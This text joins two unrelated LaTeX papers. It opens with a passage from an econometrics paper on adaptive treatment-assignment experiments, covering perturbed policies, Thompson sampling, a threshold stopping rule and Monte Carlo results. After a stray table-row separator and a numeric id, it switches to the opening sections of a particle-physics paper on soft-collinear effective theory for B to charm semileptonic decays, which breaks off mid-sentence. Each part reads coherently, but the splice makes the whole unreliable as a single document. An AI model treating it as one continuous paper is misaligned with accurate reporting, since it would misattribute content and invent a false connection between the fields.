The optimal policy function of this problem solves the Bellman equation problem with a per-period payoff given by the $\sum_{x \in \mathbb{X}} \zeta^{\alpha}(d,x)$ (or some other aggregator for $x$). Our framework does not allow for such policy function because it is not Markov. One could also consider the infinite time-horizon version of this problem (i.e., $T=\infty$), which is Markov, but is unlikely to satisfy Assumption \ref{ass:PF.epsilon}. Instead, our framework allows for a ``perturbed" version of the form:\footnote{This idea of perturbing the optimal policy is by no means new; it is commonly used in economics and can be traced back to Harsanyi's trembling hand idea.}
\begin{align*}
\delta \left( \zeta_{t}, \nu_{t} , \alpha_{t} \right)(d | x) = \frac{ \exp \{ h \Pi( \zeta_{t}, \nu_{t} , \alpha_{t} )(d,x) \} }{ \sum_{d'=0}^{M} \exp \{ h \Pi( \zeta_{t}, \nu_{t} , \alpha_{t} )(d',x) \} }
\end{align*}
where $\Pi( \zeta_{t}, \nu_{t} , \alpha_{t} )(d,x)$ is the payoff of choosing treatment $d$ for unit $x$ given beliefs $\mu_{t}$ and weights $\alpha_{t}$; $h>0$ is a tuning parameter that governs the size of the perturbation.
$\triangle$
\end{example}
\begin{example}[Thompson Sampling \& refinements]
Sampling schemes like Thompson's (\cite{Thompson:1933}) and others imply $ \delta \left( \zeta_{t}, \nu_{t} , \alpha_{t} \right)(d | x) = \pi_{t}( d | x ) $ where $\pi_{t}( d | x )$ is the subjective probability that treatment $d$ yields the highest expected outcome and it is associated with the beliefs of the PM at time $t$, $ \left( \zeta_{t}, \nu_{t} , \alpha_{t} \right) $. For instance, in Thompson sampling $\pi_{t}( d | x )$ is given by $\mu^{\alpha}_{t}(d,x)$.
For Thompson sampling, it is easy to show that Assumption \ref{ass:PF.epsilon} holds within the Markov Gaussian model and with $Y(d,x)$ having bounded support. In the other cases, Assumption \ref{ass:PF.epsilon} may not hold if $\pi_{t}( d | x )$ fails to be uniformly bounded from below. For these cases, we can adopt a similar trick to the one used in the Example 2 and postulate $\delta \left( \zeta_{t}, \nu_{t} , \alpha_{t} \right)(d | x) = \exp \{h \pi_{t}( d | x )\}/\sum_{d'} \exp \{h \pi_{t}( d' | x )\} $ for some $h>0$. $\triangle$
\end{example}
Finally, we provide an example of the policy rule for stopping the experiment, $\sigma$. While most of our results do not require any restriction on this policy rule, a desirable property for this rule is that, for a given tolerance level $\beta \in (0,1)$ chosen by the PM, the probability of making a mistake when stopping the experiment is no larger than $\beta$. Below, we propose a family of stopping rules for which it will be shown in Section \ref{sec:PoM} that, by appropriately choosing certain parameters, the rule has such desirable property.
\begin{example}[Threshold Stopping Rule]\label{exa:StoppingRule}
For any positive-valued sequence $(\gamma_{t})_{t}$ and $B \in \mathbb{N}$, the stopping rule parameterized by $((\gamma_{t})_{t},B)$ is such that, for any $t \geq B$,
\begin{align*}
\sigma_{t}(Y^{t-1},D^{t-1}) = 1,~iff~\max_{d} \{ \min_{m \ne d} \zeta^{\alpha}_{t-1}(d) - \zeta^{\alpha}_{t-1}(m) - c_{t-1}(\gamma_{t-1},d,m) \} > 0,
\end{align*}
and if $t < B$, $\sigma_{t}(Y^{t-1},D^{t-1}) = 0$, where, for any $d,m \in \{0,...,M\}$ and any $o \in \{0,...,L\}$,
\begin{align*}
c_{t}(\gamma_{t},d,m) : c_{t} (\gamma_{t}, d) + c_{t} (\gamma_{t}, m) : = \sum_{o=0}^{L} \gamma_{t} \frac{ \alpha^{o}_{t}(d) }{ f_{t}(d) + \nu^{o}_{0}(d)/t } + \sum_{o=0}^{L} \gamma_{t} \frac{ \alpha^{o}_{t}(m) }{ f_{t}(m) + \nu^{o}_{0}(m)/t }
\end{align*}
While the expression for the cutoff is a bit involved, the constant $\gamma_{t}$ is the key element -- the other terms are convenient scaling factors. Loosely speaking, the proposition proposes to stop the experiment after $B$ instances and as soon as the distance between the highest average posterior and the rest --- measured by $\max_{d} \min_{m \ne d} ( \zeta^{\alpha}_{t}(d) - \zeta^{\alpha}_{t}(m) )$ --- is far enough from zero, where ``far enough'' is essentially measured by $Constant \times \gamma_{t} $. This rule is akin to a test of two means wherein the hypothesis is rejected when the difference in means is above a multiple of the standard error. This intuition suggests that $\gamma_{t}$ should be of order $1/\sqrt{t}$, however in this problem, because the data are not IID, the correct order is $\sqrt{\log t/t} $; see Section \ref{sec:stoch} for a more through discussion. $\triangle$
\end{example}
\section{Model Simulations}\label{sec:simulations}
In this section, we present Monte Carlo simulations of our model. The purpose of these simulations is to highlight different aspects of our analytical results and to provide a sense of the tightness of our analytic bounds. We consider the case with only two treatment arms, $D\in\{0,1\}$ and assume that $Y(0) \sim N(1,1)$ and $Y(1) \sim N(1.3,1)$. We assess the performance of our model according to the three outcomes outlined in Section \ref{sec:analytical_results}: concentrations bounds, probability of making a mistake, and average earnings. We simulate each experiment 1000 times, with each experiment lasting at most 1000 periods.
\subsection*{Multiple Priors, External Validity, Robustness}
We begin by illustrating how our setup weights the different models over the experiment. Recall that to aggregate across several distinct subjective Bayesian models, our setup will average the posterior beliefs of each model using as weights, $\alpha_t^o(d)$ -- the posterior probability that model $o$ best fits the observed data within the class of models being considered. We demonstrated in Proposition 1 for the general case, and Lemma 1 for Gaussianity, that if there exists an externally valid model among externally \emph{invalid} models, then $\alpha_t^o(d)$ will approach one for the externally valid model. Conversely, $\alpha_t^o(d)$ will approach zero if models are far from the true $\theta(d)$.
To illustrate this property, we simulate our model under different sets of priors. For each simulation, we assume that our policymaker has two sets of priors about the potential outcomes distributions. One is her initial set of priors, which we will assume are correct (i.e. $\zeta^{o}_o = \theta$) but diffuse (i.e. $\nu$=1). For the other set of priors, we consider four alternative scenarios varying in their degree of stubbornness.
In Figure \ref{fig:MultiPriors}, we plot $\alpha_t^o(d)$ corresponding to the second set of priors over the course of the experiment. The graph on the left is for the $d=0$ arm and the one on the right is for the $d=1$ arm. Each line corresponds to a different set of priors, and the lighter the line, the more stubborn the prior. Starting with the top and darkest line, we see that $\alpha_t^o(d)$ increases over time putting more and more weight on an externally valid model. By the end of the experiment, $\alpha_t^o(d)$ is close to 95\% for both arms. As we consider more stubborn models, we can see that the corresponding $\alpha_t^o(d)$ becomes smaller. So much so that for extremely stubborn models (i.e. the lowest line) $\alpha_t^o(d)$ becomes essentially zero by the $600^{th}$ instance. This is why we interpret the parameter $\alpha_t^o(d)$ as a measure of external validity: the more externally valid the model, the higher the corresponding $\alpha_t^o(d)$.
An important feature of how we aggregate across models is that it generates a robustness property. Because $\alpha_t^o(d)$ will place less weight on models that are not externally valid, over time they will have limited influence on the PM's beliefs and consequent decisions. We illustrate this Figure \ref{fig:zeta_beliefs}. In the top graphs, we plot the policymaker's posterior beliefs about the mean of the potential outcome distributions over time. The plot distinguishes between three posterior means. The bottom (dashed) line corresponds to one set of priors, which we assume to unbiased (i.e. $\zeta^{o}_o = \theta$), but diffuse. The top (dash-dotted) line refers to alternative set of priors, which contains some degree of stubbornness (i.e. $\zeta^{o}_o = \theta+.5, \nu=250$). The middle (solid) line comes from the combined model, which is a weighted average of the two sets of priors using $\alpha_t^o(d)$ as weights. We see that even though our policymaker starts with a stubborn prior, the combined model converges relatively quickly to the non-stubborn model. This is the result of both the oracle property – concentrating on the least stubborn model – and robustness property – putting less and less weight on sufficiently stubborn models.
In the bottom graphs, we consider the case in which the alternative model is confident. Thus, both sets of priors are unbiased; the alternative prior simply comes with a higher degree of conviction. Because both priors are correct, the combined model does not immediate converge to one of the models as we saw in case with stubborn priors. As we started in Remark \ref{remark:cb}, our parameter $\alpha$ is more responsive to bias than conviction.
\subsection*{Concentration Bounds}
\paragraph{Effects of $\epsilon$.} We now simulate our model's concentration bounds and some its key properties. Recall from Remark \ref{remark:cb} in Section \ref{sec:zeta.concentration}, the concentration rate increases with the parameter $\epsilon$. We demonstrate this property in the top panel of Figure \ref{fig:CB_epsilon}, in which we plot concentration bounds for three different values of $\epsilon \in \{0.1,0.5,0.9\}$. That is, for a given $\epsilon$, we compute the difference over time between the policymaker’s posterior belief of the true mean, $\zeta^o_t(d)$, and the true mean, $\theta(d)$. We then plot the probability that these differences are greater than 0.1. For these simulations, we assume that our policymaker has correct, but diffuse priors (i.e. $\zeta^o_0 =\theta$ and $\nu^o_0=[1,1]$).
In the top panel, we see that with the exception of early on, our concentration bounds decrease over time and in the case of $\zeta^o_t(0)$ decrease faster, the higher the $\epsilon$. For instance, after 1000 instances, $Pr(\zeta^o_t(0)-\theta(0)>0.1)$ is almost zero for the case of $\epsilon=0.9$, but is still close to 0.5 for $\epsilon=0.1$. For the other treatment arm, the patterns are reversed. All three lines decrease relatively quickly, with the lower $\epsilon$ lines decreasing faster.
The intuition for these patterns is straightforward and speaks to the point about frequency of play in Remark \ref{remark:cb}. When the PM selects a treatment arm, she will only learn about the distribution of potential outcomes for that arm. As she become more confident in which arm is better, she will play the other arm only when forced to by the $\epsilon$-greedy algorithm. In this case, the higher the $\epsilon$ the more the PM will be forced to play treatment $d=0$ and the more she learns about $\theta(0)$. We can see this clearly in the bottom panel, which depicts the cumulative number of times the treatment has been played over time, by different values of $\epsilon$’s. As we compare the two panels, the more we play a particular arm, the more we learn about it, and sooner our beliefs converge to the truth.
\paragraph{Effects of Priors.} In Figure \ref{fig:CB_Priors}, we investigate the effects of different priors on the concentration bounds. In particular, we plot different concentration bounds for priors with different degrees of stubbornness and confidence. For example, in the bottom two lines, we consider two unbiased priors, but with different levels of confidence. According to Remark \ref{remark:cb}, concentration rates increase as the degree of conviction increases and this precisely what we see. It is also the case, that the concentration rate decreases faster with a less stubborn the model. We can see this pattern clearly by comparing the top two lines. By comparing the two middle lines, we can also see that conditional on the degree of stubbornness, the higher the bias, the slower the concentration rate. Lastly, as before, the concentration rates for $\theta(1)$ tend to be faster than those for $\theta(0)$ because of the frequency of play.
\subsection*{Probability of Making a Mistake}
In Section \ref{sec:PoM}, we defined a mistake as recommending a treatment arm different from the one that yields the largest expected effect at the instance in which the experiment was stopped. In Figure \ref{fig:stopping}, we plot the average stopping period (left axis) and the probability of making a mistake at that stopping period (right axis) by $\epsilon$. It is clear from the graph that the more we experiment across treatment arms (i.e., higher $\epsilon$), the faster we stop the experiment. This makes sense. As we experiment more, the data become more IID and we are able to better learn the true means of the potential outcome distributions. According to these simulations, the degree of experimentation does not have to be particularly high. While at low levels of $\epsilon$, the experiment lasts for almost its entire duration, the drop off appears fairly quick. Once $\epsilon$ is greater than 0.5, the difference gained in stopping periods from additional experimentation is minimal.
Shorter stopping periods do not come at the cost of making more mistakes. This result is to some extent an artifact of our stopping rule, whose parameters control the probability of type I errors. As the graph depicts, the probability of making a mistake varies little with $\epsilon$ and is always below 1\%.
In Figure \ref{fig:bias}, we explore how the initial priors affect the probability of making a mistake. We again consider two sets of priors, both with $\nu_0=[250,250]$. One, however, is confident with $\zeta^o_0 = \theta$, whereas the other is stubborn, with $\zeta^o_0 = [\theta(0)+\delta,\theta(1)-\delta]$, where $\delta$ is indicated by a point on the x-axis. For $\delta \in (0,0.15)$, the priors are biased, but have a proper ranking of the treatment arms. For $\delta > 0.15$, the priors are not only biased, but reverse the ranking of the arms. On the y-axis, we plot the probability of making a mistake associated with each set of priors, as well as for the combined model.
We can see that for $\delta \in (0,0.15)$, the probability of making mistake is small, less than 1\%, for all three models. But once $\delta > 0.15$, and the ranking of treatment arms are reversed, the probability of making a mistake for the stubborn model increases significant and approaches 1 by $\delta \geq 0.3$. Importantly, the probability of making a mistake for the combined model mirrors the one for the confident model, which again illustrates the robustness property of $\alpha^o_t(d)$.
\subsection*{Expected Earnings}
The final outcome we evaluate is expected earnings. According to Proposition \ref{pro:avg.Y}, the distance between the average outcomes and maximum expected outcome is decreasing in $\epsilon$. In Figure \ref{fig:earnings}, we plot by $\epsilon$, the difference between the policymaker's average impact and the maximum expected outcome, $\max_d\theta(d)$, for an experiment that lasts 1000 instances. The figure also distinguishes between our two familiar sets of priors, a confident one and a stubborn one.
Two important observations emerge from this figure. First, there is a steep negative monotonic relationship between expected earning and $\epsilon$. In fact, the 10\% quantile of the average earnings distribution for $\epsilon=0.10$ lies above the 90\% quantile of the average earnings distribution for $\epsilon=0.90$. Second, by compare across the two plots, we can see that starting off with a stubborn prior affects average earnings, but only minimally. Again, this result is a product of the robustness property that our model aggregation approach provides.
The fact that average earnings declines with experimentation does not imply that our policymaker should set $\epsilon$ close to zero. Because as we saw in Figure \ref{fig:stopping}, lower $\epsilon$'s result in longer experiments, which can come with costs. Moreover, as we show in Proposition 4, the upper bound the probability of making a mistake is weakly smaller for higher levels of $\epsilon$. Thus, to properly capture the experimentation versus exploitation tradeoff inherent in multi-armed bandit problems, we need to specify a payoff function.
We consider the following payoff function:
\begin{align}\label{eq:payoffs}
\Pi^{I}_{\beta,c} = & \sum_{d=0}^{M} \sum_{t=0}^{T^{\ast}} \beta^{t} 1\{ D_{t} = d \} ( Y_{t}(d) - c_1) + \sum_{t=T^{\ast}+1}^{\infty} \beta^{t} 1\{ D_{T^{\ast}} = d \} (\theta(d)-c_2)\\
= & \sum_{d=0}^{M} \sum_{t=0}^{T^{\ast}} \beta^{t} 1\{ D_{t} = d \} ( Y_{t}(d) - c_1) + \frac{ \beta^{T^{\ast}+1}} {1-\beta} 1\{ D_{T^{\ast}} = d \} (\theta(d)-c_2)
\end{align}
where $c_1$ indicates the costs of running the experiment, $c_2$ cost of administering the treatment, $\beta^t$ represents a discount factor, and $T^{\ast}$ denotes the stopping period. This payoff function comprises of two parts. The first part is the earnings during the experiment net of cost. The second part captures the expected future benefits under the chosen treatment, net of cost.
In Figure \ref{fig:payoffs}, we compute the payoff function for our model simulations by different values of $\epsilon$. In contrast with the previous figure, we see that the average payoffs are increasing with $\epsilon$ until approximately $\epsilon=0.38$, at which point the payoffs start to decline. While this ``optimal'' value of $\epsilon$ is clearly a function of an arbitrary set of parameter choices, our conjecture is that the inverted u-shape relationship is likely to hold more generally, suggesting that some combination of experimentation and exploitation is optimal.
\begin{comment}
\begin{align*}
P_{\beta,c}( Y^{\infty},D^{\infty} ) : = \sum_{t=0}^{T^{\ast}} \beta^{t} (Y_{t}(D_{t}) - c) + \sum_{t=T^{\ast}+1}^{\infty} \beta^{t} Y_{t}(D^{\ast})
\end{align*}
where $D^{\ast}$ is the recommendation made at the stopping time $T^{\ast}$. It follows that
\begin{align*}
P_{\beta,c}( Y^{\infty},D^{\infty} ) = \sum_{d=0}^{M} \left\{ \sum_{t=0}^{T^{\ast}} 1\{ D_{t} = d \} \beta^{t} (Y_{t}(d) - c) + \sum_{t=T^{\ast}+1}^{\infty} \beta^{t} 1\{ D_{T^{\ast}} = d \} Y_{t}(d) \right\}
\end{align*}
One might be interested on the expectation of this random variable.
\begin{align*}
\Pi_{\beta,c} = \sum_{d=0}^{M} E \left[ \sum_{t=0}^{T^{\ast}} \beta^{t} 1\{ D_{t} = d \} (Y_{t}(d) - c) + \sum_{t=T^{\ast}+1}^{\infty} \beta^{t} 1\{ D_{T^{\ast}} = d \} Y_{t}(d) \right]
\end{align*}
Since for all $t > T^{\ast}$, $Y_{t}(d)$ is independent of $D_{T^{\ast}}$, it follows that
\begin{align*}
\Pi_{\beta,c} = & \sum_{d=0}^{M} E \left[ \sum_{t=0}^{T^{\ast}} \beta^{t} 1\{ D_{t} = d \} ( Y_{t}(d) - c) + \sum_{t=T^{\ast}+1}^{\infty} \beta^{t} 1\{ D_{T^{\ast}} = d \} \theta(d) \right]\\
= & \sum_{d=0}^{M} E \left[ \sum_{t=0}^{T^{\ast}} \beta^{t} 1\{ D_{t} = d \} ( Y_{t}(d) - c) + \frac{ \beta^{T^{\ast}+1}} {1-\beta} 1\{ D_{T^{\ast}} = d \} \theta(d) \right]
\end{align*}
\end{comment} |
1,477,468,750,066 | arxiv | \section{Introduction}
A central goal of the $B$ physics program is to accurately
determine the CKM parameter $|V_{ub}|$. A complication
is that experiments cannot measure the total rate for
inclusive $\bar B\to X_u \ell \bar\nu_\ell$ decays, because
part of the available phase space is dominated
by a much larger background from
$\bar B\to X_c \ell \bar\nu_\ell$ decays.
In fact, data for inclusive $b\to u$ transitions
is available only in the shape-function region, where the
final-state hadronic jet carries a large energy on the
order of the $b$-quark mass $m_b$, but a relatively small
invariant mass squared on the order of $\Lambda_{\rm QCD} m_b$.
The study of inclusive $B$ decays in
the shape-function region using soft-collinear
effective theory (SCET) has received much
attention in recent years
\cite{Bauer:2003pi,Bosch:2004th,powercorrections,Neubert:2004dd,Lee:2005pk}.
Predictions for decay
distributions are available in the form of
factorization formulas
which separate the physics from the three scales
$m_b \gg \sqrt{\Lambda_{\rm QCD} m_b} \gg \Lambda_{\rm QCD}$. At leading
order in $1/m_b$, the factorization formula
takes the form
\begin{equation}\label{eq:fact}
H\cdot J\otimes S.
\end{equation}
The hard function $H$ and the jet function $J$
are perturbatively calculable functions
depending on quantities at the hard scale $m_b$
and the hard-collinear (jet) scale $\sqrt{\Lambda_{\rm QCD} m_b}$ respectively.
The shape function $S$ is a non-perturbative
function defined in terms of a
non-local HQET matrix element \cite{earlyshape}.
There are two basic
strategies for reducing shape-function related
hadronic uncertainties in the measurement of $|V_{ub}|$.
The first is to extract the shape function in one
process and use it as input for
other processes, the second is to construct shape-function
independent relations between different decay distributions.
Common implementations of these strategies use
$\bar B\to X_s\gamma$ in
combination with $\bar B\to X_u \ell \bar\nu_\ell$ decay spectra
\cite{Neubert:1993um,MannelRecksiegel,
Leibovich:1999xf, phenom, Hoang:2005pj,Lange:2005qn,Lange:2005xz}.
Assuming the power counting $m_c^2\sim \Lambda_{\rm QCD} m_b$ for the
charm-quark mass, parts of the phase space for
$\bar B\to X_c \ell \bar\nu_\ell$ decays lie in the
shape-function region \cite{MannelNeubert,MannelTackmann}.
Work performed in \cite{Boos:2005by} showed that
the singly differential spectrum in a
certain kinematic variable has much in common
with the $P_+$ spectrum in $\bar B\to X_u \ell \bar\nu_\ell$ decays.
In particular, at tree level and excluding
power corrections,
this spectrum is directly proportional to the
leading-order shape function. This raised the possibility of using
data from inclusive decays into charm quarks to learn about the
leading-order shape function. The analysis
in \cite{Boos:2005by} concentrated on the classification
of sub-leading effects in the $\Lambda_{\rm QCD}/m_b$ expansion
at tree level, while the question of
radiative corrections was left open.
In this paper we calculate the perturbative corrections
to $\bar B\to X_c \ell \bar\nu_\ell$ decays in the shape-function
region. We show that our one-loop result for the hadronic
tensor can be written in the factorized form (\ref{eq:fact}).
Moreover, the hard function $H$ and the shape function $S$ are identical
for inclusive $b\to u$ and $b\to c$ transitions;
the charm-quark mass affects only the jet function $J$.
This allows us to construct a simple,
shape-function independent relation between the
$\bar B\to X_c \ell \bar\nu_\ell$ and
$\bar B\to X_u \ell \bar\nu_\ell$ decay spectra,
which may provide an independent cross-check for
the determination of $|V_{ub}|$.
The paper is organized as follows. In Section~\ref{sec:SCET}
we discuss some aspects of SCET needed in our analysis.
We use this to calculate the hadronic tensor at one loop
in Section~\ref{sec:fact}. In Section~\ref{sec:uspec}
we present results for the partially integrated spectrum
needed in our phenomenological discussion and examine
some issues related to the definition of the charm-quark
mass. A relation between partially integrated
$b\to u$ and $b\to c$ spectra is derived and
studied in Section~\ref{sec:phenom}. We conclude
in Section~\ref{sec:conclusions}.
\section{SCET for $\bar B \to X_c \ell \bar\nu_\ell$ transitions}
\label{sec:SCET}
In this section we review some aspects of SCET
\cite{Bauer:2000ew,Bauer:2000yr,Bauer:2001yt,Beneke:2002ph}
needed to describe inclusive
$b\to c$ transitions in the shape-function region.
The effective theory facilitates the separation of scales
and sets up a systematic expansion in the small parameter
\begin{equation}
\lambda^2\sim \frac{m_c^2}{m_b^2} \sim \frac{\Lambda_{\rm QCD}}{m_b}.
\end{equation}
At the level of Feynman diagrams, this separation
of scales is achieved by evaluating QCD
integrals using the method of regions
\cite{Beneke:1997zp}, and the construction of SCET
is closely related to this diagrammatic analysis.
To apply this method one first identifies the
momentum regions which give rise to leading-order
on-shell singularities in loop diagrams. The integrand
is expanded in $\lambda$ as appropriate for the particular
region before performing the integral.
Once all the regions are identified,
their sum is equal to the full theory integral, up to
higher-order terms in $\lambda$.
Applying the method of regions to
inclusive $b\to u$ transitions in
the shape-function region, where
the jet momentum and the jet energy satisfy
$p^2\sim m_b^2 \lambda^2$ and
$E\sim m_b$, one finds contributions
from hard, hard-collinear, and soft
regions. SCET is constructed in such a way that
the hard-collinear and soft regions are
contained in effective theory
fields and operators, while the hard
region is contained in Wilson coefficients multiplying
these operators. For the $b\to c$ transitions dealt with
in this paper, we will always work in the kinematic
region where the jet momentum and the jet energy satisfy
$p^2-m_c^2 \sim p^2 \sim m_b^2 \lambda^2$ and
$E\sim m_b$. It is apparent that the set
of regions is identical to that in the charmless case;
one must replace $p^2\to p^2-m_c^2$ in the hard-collinear
propagators, but the $\lambda$
expansion, and thus the regions calculation, works the same.
Therefore, the relevant version of SCET is very
similar to that for charmless decays.
The objects of interest are the SCET Lagrangian and currents,
which we now discuss in turn.
\subsection{SCET Lagrangian and mass renormalization}
\label{subsec:lagrangian}
The leading-order SCET Lagrangian for a hard-collinear quark
with mass $m_c$ interacting with soft and hard-collinear gluons
is (see for instance \cite{Rothstein:2003wh,Leibovich:2003jd,Boos:2005by})
\begin{eqnarray}\label{eq:L}
{\cal L}&=& \bar\xi
\left(in_- D + (i \Slash{D}_{\perp \rm hc}-m_c)\frac{1}{in_+ D_{\rm hc}}
(i \Slash{D}_{\perp \rm hc}+m_c)\right)\frac{\slash{n}_+}{2}\xi
+ {\cal L}_{{\rm YM}}.
\end{eqnarray}
Here $\xi$ is a hard-collinear quark field, and the covariant
derivatives are defined as
$i n_- D = in_-\partial + g n_- A_{\rm hc} + g n_- A_s$
and $i D_{\rm hc} = i \partial + g A_{\rm hc}$.
We have introduced two light-like vectors $n_{\pm}$, which
satisfy $n_+ n_- =2$.
The Yang-Mills Lagrangian ${\cal L}_{{\rm YM}}$ for the
soft (hard-collinear) sector is the same as in QCD, but restricted
to soft (hard-collinear) fields.
In massless SCET, the Lagrangian is not
renormalized, in the sense that no new operators or
non-trivial Wilson coefficients are induced by radiative
corrections. The reasoning for this was given
in \cite{Beneke:2002ph}, and involves showing
that certain momentum regions give rise to scaleless integrals.
These arguments also apply to the SCET Lagrangian
(\ref{eq:L}), because the $\lambda$
expansion is unaffected by the presence of a
quark mass in the hard-collinear propagators,
as we have emphasized above.
On the other hand, mass renormalization plays a non-trivial
role in our analysis, and will be needed in the
next section when we calculate the one-loop jet function.
We pause here to discuss mass renormalization in SCET.
Later on we will study the differential
spectrum in the variable
$$u=n_- p -m_c^2/n_+ p \,,$$
where $m_c$ may be taken as the pole mass
(in the massless case $u$ reduces to the variable
$p_+ = n_- p$).
In Section~\ref{sec:change}, we will discuss alternative mass definitions which
induce a change in the jet function of order $\alpha_s$.
Mass renormalization in SCET is closely related to the usual
QCD prescription, which follows from the observation that
the self-energy diagram in SCET can be obtained from
the $\lambda$ expansion of the corresponding QCD diagram.
This has been pointed out for the massless case
in \cite{Bauer:2000ew}, and for the massive case
with $m^2 \ll \Lambda_{\rm QCD} m_b$ in \cite{Chay:2005ck}.
We have confirmed
that it also holds for the case $m_c^2 \sim \Lambda_{\rm QCD} m_b$.
In full QCD, the one-loop fermion propagator is
\begin{equation}\label{eq:QCDprop}
G(p)= \frac{i}{\rlap{\hspace{0.02cm}/}{p} - m_c - \Sigma (p)},
\end{equation}
where the fermion self-energy reads
\begin{equation}
\Sigma(p)=\rlap{\hspace{0.02cm}/}{p} \, \Sigma_V (p^2) + m_c \, \Sigma_S (p^2).
\end{equation}
Analogously, the one-loop fermion propagator in SCET is
\begin{equation}\label{eq:SCETprop}
G_\xi(p)= \frac{i}{u - \Sigma_\xi (u,n_+ p)}\frac{\rlap{\hspace{0.02cm}/}{n}_-}{2} \ .
\end{equation}
For simplicity we consider a frame where $p_\perp =0$,
such that $u=n_- p-m_c^2/n_+ p$. We obtain the SCET fermion
self-energy $\Sigma_\xi (u, n_+ p)$ by expanding the
QCD propagator (\ref{eq:QCDprop}) to leading order
in $\lambda$ and
matching it with the SCET propagator (\ref{eq:SCETprop}),
which gives the result
\begin{equation}
\Sigma_\xi(u, n_+ p) = u\, \Sigma_V(p^2) + \frac{m_c^2}{n_+ p}\, 2
\left(\Sigma_V(p^2) + \Sigma_S(p^2)\right).
\end{equation}
Taking into account mass renormalization,
the renormalized fermion propagator in SCET is
\begin{equation}\label{SCETpropren}
\hat G_\xi(p)= \frac{i}{u - \Sigma_\xi (u,n_+ p)
- \frac{\delta (m_c^2)}{n_+ p}}\frac{\rlap{\hspace{0.02cm}/}{n}_-}{2},
\end{equation}
where $\delta(m_c^2)= 2 m_c \delta m_c$.
The propagator has a pole for
$p^2=m_c^2 \Leftrightarrow u=0$, from which we get
\begin{equation}\begin{split}
\frac{\delta(m_c^2)}{n_+ p}&=-\Sigma_\xi (0,n_+ p)
=-\frac{m_c^2}{n_+ p}\, 2
\left(\Sigma_V (m_c^2) + \Sigma_S(m_c^2)\right)\\
&= - 6 \frac{m_c^2}{n_+ p} \frac{ C_F\alpha_s}{4\pi}
\biggl(\frac1\epsilon - \ln \biggl(\frac{m_c^2}{\mu^2}\biggr)
+ \frac43\biggr)
\end{split}
\label{eq:dmpol}
\end{equation}
as the corresponding mass counterterm in the pole scheme.
\subsection{SCET transition current}\label{subsec:current}
Unlike the Lagrangian, the SCET representation of the
weak transition current involves non-trivial
hard matching coefficients. The matching onto SCET
takes the form \cite{Bauer:2000yr,Beneke:2002ph}
\begin{eqnarray}
e^{im_b v x}\bar c(x)\gamma^\mu(1-\gamma_5) b(x)&\to&
\sum_{i=1}^3 \int ds \, \tilde C_i(s,m_b)
(\bar\xi W)(x+sn_+)\Gamma_i^\mu\, h_v(x_-)
\nonumber
\\
&=& \sum_{i=1}^3 \, C_i(n_+ p, m_b)
(\bar\xi W)(x)\Gamma_i^\mu \, h_v(x_-)
\label{eq:current}
\end{eqnarray}
where $h_v$ is the heavy-quark field defined in HQET,
$W$ is a hard-collinear Wilson line,
and $p$ is the momentum of the hard-collinear quark.
The Dirac structures are chosen as
\begin{equation}
\Gamma_i^\mu=\{\gamma^{\mu}(1-\gamma_5),\,v^\mu(1+\gamma_5),
\,\frac{n_-^\mu}{n_- v}(1+\gamma_5)\}.
\end{equation}
One calculates the hard coefficients $C_i$ by matching
the one-loop corrections to the current from QCD
to SCET. The QCD diagrams receive contributions from
hard, hard-collinear and soft momentum regions. Since SCET
is constructed to reproduce the results for the
hard-collinear and soft regions, it is only
the hard region of the QCD diagrams
which contributes to the matching
conditions. However, the Taylor-expanded integrand
for the hard region does not depend on the hard-collinear
scale $m_c^2$, so the matching conditions are the
same as in the massless case. We can therefore read off
the result for the coefficients $C_i$ from \cite{Bauer:2000yr}.
The matching conditions also involve a current renormalization
factor, which accounts for the divergent part of the hard
diagrams. Its explicit form is \cite{Bauer:2000yr}
\begin{equation}\label{eq:ZJ}
Z_J=1+ \frac{C_F \alpha_s}{4\pi}\left(-\frac{1}{\epsilon^2}
+\frac{2}{\epsilon}\ln\frac{n_+ p}{\mu}
-\frac{5}{2\epsilon}\right).
\end{equation}
We will need this renormalization factor in our calculation
of the hadronic tensor in the next section.
\section{Hadronic tensor at one loop}
\label{sec:fact}
In this section we calculate the one-loop
corrections to the hadronic tensor for
$\bar B\to X_c \ell \bar \nu_\ell$ decays in the
shape-function region, always working to
leading order in $\lambda$.
The hadronic tensor contains all
the QCD effects in the semi-leptonic
decay and is the starting point for deriving
differential decay distributions.
We define the hadronic tensor as
\begin{equation}
W^{\mu\nu}=\frac{1}{\pi}{\rm Im}\langle \bar B(v)|
T^{\mu\nu}|\bar B(v)\rangle ,
\end{equation}
where we use the state normalization
$\langle \bar B(v)|\bar B(v)\rangle=1$.
The current correlator
$T^{\mu\nu}$ is given by
\begin{equation}\label{eq:correlator}
T^{\mu\nu}=i \int d^4 x e^{-i q\cdot x}{\rm T}
\{J^{\dagger \mu}(x) J^{\nu}(0)\},
\end{equation}
where $J^\mu=\bar c \gamma^\mu(1-\gamma_5)b$
is the flavor-changing weak transition
current discussed above.
The one-loop result for the hadronic tensor
can be written in the factorized form
\begin{equation}\label{eq:fact2}
W^{\mu\nu}=\sum_{i,j=1}^3 \frac 12
\text{tr}\biggl(\bar\Gamma^{\mu}_j\frac{\rlap{\hspace{0.02cm}/}{n}_-}{2}
\Gamma^{\nu}_i \frac{1+\rlap{\hspace{0.02cm}/}{v}}{2}\biggr)
H_{ij}(n_+ p)\int d\omega J(u-\omega,n_+ p) S(\omega),
\end{equation}
where $p\equiv m_b v-q$ is the jet
momentum in the parton
model. The hard functions $H_{ij}$, the jet
function $J$, and the shape function
$S$ contain physics at the scales
$m_b^2$, $\Lambda_{\rm QCD} m_b$, and $\Lambda_{\rm QCD}^2$, respectively.
The limits of integration in the convolution
integral are determined by the facts that the
shape function has support for
$-\bar\Lambda \leq \omega <\infty$ and the
jet function has support for $u-\omega\geq 0$.
The procedure leading to (\ref{eq:fact2}) is familiar
from charmless decay and involves
a two-step matching procedure \cite{Bauer:2003pi,Bosch:2004th}.
In the first step, one
integrates out hard fluctuations at the scale $m_b$
by matching
the hadronic tensor calculated in QCD onto that
calculated in SCET. The associated matching coefficients are
the hard functions $H_{ij}$. Since these coefficients take
into account the hard region of the QCD diagrams, and this
region is unaffected by the presence of a quark mass in
the hard-collinear propagators,
they are identical to those in the massless
case. One finds $H_{ij}=C_j C_i$, where
the $C_i$ are the hard Wilson coefficients defined
in (\ref{eq:current}).
In the second step, one integrates out hard-collinear
fluctuations at the scale $\Lambda_{\rm QCD} m_b $
by matching the hadronic tensor calculated
in SCET onto that calculated in HQET.
The matching coefficient from this step is the jet
function $J$.
This function is obviously more
complicated than in massless SCET, since it
can depend on $m_c^2$ as well as $p^2$. We will
calculate it in the following subsection.
However, the final low-energy theory is still HQET,
